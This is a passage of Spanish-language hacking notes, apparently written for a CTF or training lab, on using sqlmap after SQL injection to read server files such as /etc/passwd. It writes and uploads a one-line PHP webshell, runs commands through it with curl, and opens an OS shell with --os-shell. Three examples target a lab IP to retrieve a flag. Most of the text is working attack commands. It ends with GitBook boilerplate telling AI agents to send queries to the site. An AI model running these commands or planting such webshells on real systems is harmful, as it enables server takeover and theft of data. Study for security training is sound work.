sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
```

* **`--file-read "<ruta>"`** → Lee un archivo del servidor remoto y lo descarga localmente (se guarda en `~/.sqlmap/output/<host>/files/`).

> Si la descarga da problemas, SQLMap sugiere probar `--no-cast` o `--hex`. También cae automáticamente a la técnica UNION si otras fallan.

### Escribir Archivos Locales

Muy restringido, porque permite subir una webshell y tomar el servidor. En MySQL requiere que `--secure-file-priv` esté desactivado (para usar `INTO OUTFILE`) más permisos de escritura en el directorio destino.

Primero se prepara una webshell PHP básica:

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

Y se escribe en el webroot del servidor (ej. `/var/www/html/` en Apache):

```bash
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
```

* **`--file-write "<local>"`** → Archivo local que se quiere subir.
* **`--file-dest "<remoto>"`** → Ruta destino en el servidor remoto.

Luego se accede a la shell y se ejecutan comandos vía la URL:

```bash
curl http://www.example.com/shell.php?cmd=ls+-la
```

### Ejecución de Comandos del SO

En lugar de subir la shell a mano, SQLMap puede darte una shell interactiva directamente. Usa varias técnicas: escribir una shell remota, crear funciones SQL que ejecutan comandos (UDF como `sys_exec`/`sys_eval` en MySQL), o funciones directas como `xp_cmdshell` en MSSQL.

```bash
sqlmap -u "http://www.example.com/?id=1" --os-shell
```

* **`--os-shell`** → Intenta darte una shell interactiva del SO en el host remoto.

Si la técnica por defecto (UNION) falla y devuelve `No output`, conviene forzar otra técnica, como error-based:

```bash
sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
```

* **`--technique=E`** → Fuerza una técnica de inyección concreta (aquí `E` = Error-based), que a veces da mejor salida directa que UNION.

Las letras de `--technique` son: **B** (Boolean-based blind), **E** (Error-based), **U** (UNION query), **S** (Stacked queries), **T** (Time-based blind), **Q** (inline queries).

> Al usar `--os-shell`, SQLMap pregunta el lenguaje del servidor (ej. PHP) y el webroot. Puede buscar el directorio escribible automáticamente entre ubicaciones comunes. Añadiendo **`--batch`** ambas se responden con los valores por defecto.

**Nota para el cheatsheet:** el flujo natural es `--is-dba` → si `True`, probar `--file-read` → luego `--file-write`/`--file-dest` para subir webshell → o directamente `--os-shell` para shell interactiva. Si algo falla en la recuperación de datos, `--no-cast`, `--hex` o cambiar `--technique` suelen ser la solución.

### Ejemplo 1

```bash
sqlmap -u 'http://154.57.164.63:31597/?id=1' --is-dba --batch 
```

Este comando hace una comprobación rápida de privilegios: pregunta si el usuario de la base de datos con el que se ejecuta la inyección tiene rol de administrador (DBA). Es el primer paso lógico antes de intentar leer/escribir archivos o buscar ejecución de comandos, porque esos privilegios suelen depender de tener DBA.

* **`-u '<URL>'`** → URL objetivo; inyecta en el parámetro `id`.
* **`--is-dba`** → Comprueba si el usuario actual de la BD tiene privilegios de administrador (DBA). Devuelve `True` o `False`.
* **`--batch`** → Modo no interactivo (respuestas por defecto).

Si devuelve `True`, existe vía libre para escalar con `--file-read`, `--file-write` o `--os-shell`. Si es `False`, la lectura de archivos probablemente falle con `no data retrieved`.

### Ejemplo 2

```bash
sqlmap -u 'http://154.57.164.63:31597/?id=1' -p 'id' --batch --file-read="/var/www/html/flag.txt"
```

Este comando usa la inyección SQL en `id` para leer el archivo `/var/www/html/flag.txt` del servidor remoto y descargarlo a tu máquina local. Es el paso típico tras confirmar privilegios con `--is-dba`: apunta directo a la flag ubicada en el webroot de Apache (`/var/www/html/`), un lugar habitual donde esconderla en estos casos.

* **`-u '<URL>'`** → URL objetivo; inyecta en el parámetro `id`.
* **`-p 'id'`** → Fuerza la inyección en el parámetro `id` (en vez de probar todos).
* **`--batch`** → Modo no interactivo (respuestas por defecto).
* **`--file-read="/var/www/html/flag.txt"`** → Lee ese archivo del servidor remoto y lo descarga localmente.

El archivo se guarda en `~/.sqlmap/output/154.57.164.63/files/` con un nombre tipo `_var_www_html_flag.txt`. Para verlo, haces `cat` sobre esa ruta. Si el contenido sale vacío o corrupto, añade `--no-cast` o `--hex` como vimos en el módulo.

### Ejemplo 3

```bash
sqlmap -u 'http://154.57.164.63:31597/?id=1' -p 'id' --batch --os-shell
```

* **`-u '<URL>'`** → URL objetivo; inyecta en el parámetro `id`.
* **`-p 'id'`** → Fuerza la inyección en el parámetro `id` (en vez de probar todos).
* **`--batch`** → Modo no interactivo (respuestas por defecto).
* **`--os-shell`** → Intenta abrir una shell interactiva del SO en el host remoto para ejecución de comandos.

Este comando intenta lo más ambicioso: obtener una **shell interactiva del sistema operativo** en el servidor remoto a través de la inyección SQL en `id`. En lugar de solo leer datos, SQLMap busca darte ejecución de comandos directa sobre el host.

Para lograrlo usa varias técnicas según el DBMS: escribir una webshell en el webroot, crear funciones definidas por el usuario (UDF como `sys_exec`/`sys_eval` en MySQL), o funciones como `xp_cmdshell` en MSSQL. Requiere privilegios altos (normalmente DBA) y capacidad de escritura en el servidor.

Gracias al `--batch`, SQLMap responde solo a las preguntas que normalmente haría al usar `--os-shell`: el **lenguaje del servidor** (PHP por defecto) y el **directorio escribible** (busca automáticamente entre ubicaciones comunes como `/var/www/html/`).

Una vez dentro del prompt `os-shell>`, puedes lanzar comandos (`whoami`, `id`, `ls -la`). Si no devuelve salida (`No output`), fuerza otra técnica con `--technique=E` (error-based) como vimos en el módulo, que suele dar mejor resultado directo que UNION.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/sqlmap.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
